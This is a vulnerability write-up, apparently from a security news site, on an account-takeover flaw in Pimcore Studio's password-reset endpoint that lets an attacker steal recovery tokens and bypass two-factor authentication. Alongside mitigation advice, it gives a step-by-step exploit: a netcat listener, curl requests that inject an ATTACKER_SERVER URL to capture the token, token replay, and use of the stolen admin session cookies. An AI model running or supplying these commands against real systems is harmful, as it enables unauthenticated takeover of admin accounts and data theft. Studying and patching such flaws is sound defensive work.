Listen to this Post
The Pimcore Studio Backend Bundle contains a critical account takeover vulnerability.
An unauthenticated attacker can exploit the password reset functionality.
The endpoint `/pimcore-studio/api/user/reset-password` is publicly accessible.
It accepts a `resetPasswordUrl` parameter without any validation.
No URL scheme check, domain allowlist, or system domain comparison is performed.
The server generates a cryptographic recovery token for the targeted user.
Instead of using a server‑side constructed URL, it appends the token to the attacker‑provided URL.
The resulting link (ATTACKER_SERVER/steal?token=...) is emailed to the victim.
The victim, believing it is a legitimate reset email, clicks the link.
The token is transmitted to the attacker’s server via the GET parameter.
The attacker captures this token from their server logs or endpoint.
They then send a POST request to `/pimcore-studio/api/login/token` with the stolen token.
The `AdminTokenAuthenticator` processes this token login.
Crucially, it explicitly disables two‑factor authentication on token login.
The code sets `setTwoFactorAuthentication(‘required’, false)` on the user object.
This means even accounts with TOTP or Google Authenticator are fully compromised.
The token is encrypted with the application secret and valid for 24 hours.
It is single‑use, but the attacker uses it before the victim finishes the reset flow.
The attack requires no authentication and only needs a valid admin username.
Rate limiting allows 3 attempts per window, but attackers can rotate IP addresses.
If email delivery fails, the token is still generated and persisted in the database.
The attacker can confirm token existence via error traces or direct database queries.
Once authenticated, the attacker obtains a full admin session cookie.
With admin privileges, they access all CMS content and digital assets.
They can manipulate PIM product data and all user accounts.
They can also execute server‑side code via custom class definitions.
The flaw resides in `src/User/Service/UserLoginService.php` at lines 64‑68.
The reset controller uses the `PUBLIC_STUDIO_API` voter, making it unauthenticated.
The `ResetPassword` schema lacks any validation decorator for the URL field.
This vulnerability is distinct from CVE‑2021‑39189 (user enumeration only).
DailyCVE Form:
Platform: Pimcore Studio Bundle
Version: 12.x (2026 commit)
Vulnerability: URL Injection Takeover
Severity: Critical
date: 2026-08-28
Prediction: 2026-09-15
What Undercode Say:
Capture the reset token (attacker’s listener)
nc -lvnp 9999
Step 1 – Send password reset with attacker URL
curl -X POST https://TARGET/pimcore-studio/api/user/reset-password \
-H “Content-Type: application/json” \
-d ‘{“username”:”admin”,”resetPasswordUrl”:”https://ATTACKER_SERVER:9999/steal”}’
Step 2 – Confirm token generation in database (PostgreSQL example)
SELECT name, has_token, token_prefix FROM recovery_tokens WHERE name=’admin’;
Step 3 – Token login after victim clicks the link
curl -X POST https://TARGET/pimcore-studio/api/login/token \
-H “Content-Type: application/json” \
-d ‘{“token”:”def50200cdbd3c1292288a716c623f…full_token…”}’ \
-c cookies.txt
Step 4 – Verify admin access with stolen session
curl -X GET https://TARGET/pimcore-studio/api/users \
-b cookies.txt
Exploit: (Educational Purposes!)
- Set up a public listener on your attacker server (e.g., `python3 -m http.server 9999` or
nc -lvnp 9999). - Send the malicious reset request with your listener URL as
resetPasswordUrl. - Wait for the victim to click the link in the legitimate password‑reset email – the token appears in your access logs (
GET /steal?token=...). - Extract the full token from the log entry.
- Immediately replay the token to `/pimcore-studio/api/login/token` using the curl command above.
- The response returns a `PHPSESSID` and `pimcore_studio_auth_profile_token` – save these cookies.
- Use the cookies to access any admin endpoint (e.g.,
/pimcore-studio/api/users,/admin/). - Full administrative control is now granted without ever needing the actual password or 2FA code.
Protection: from this CVE
- Remove the `resetPasswordUrl` parameter from the request schema entirely.
- Construct the reset link server‑side using the configured system domain (e.g.,
$loginUrl = 'https://' . $this->domain . '/admin/login?token=' . $token;). - If multi‑domain support is required, validate the supplied host against an explicit allowlist of registered Site domains and the main system domain.
- Enforce strict URL scheme (only
https) and reject any external or unlisted domains. - Do not generate or persist the recovery token before the email is successfully sent; move token generation inside the email delivery block.
- Apply rate‑limiting per username with a strict block after exceeding attempts, and enforce it across IP rotations using a shared cache (e.g., Redis).
Impact:
- Unauthenticated remote attacker with only a valid admin username can fully compromise any admin account.
- Bypasses authentication, 2FA, and rate‑limiting protections.
- Attacker gains unrestricted access to all CMS pages, digital assets, PIM product data, user records, and system configurations.
- Ability to execute arbitrary PHP code by modifying class definitions or installing malicious bundles, leading to complete server takeover.
- All sensitive business data (customer info, product catalogs, pricing) becomes exposed and tamperable.
- The attack leaves no trace in standard authentication logs because it uses a legitimate token and disables 2FA silently.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
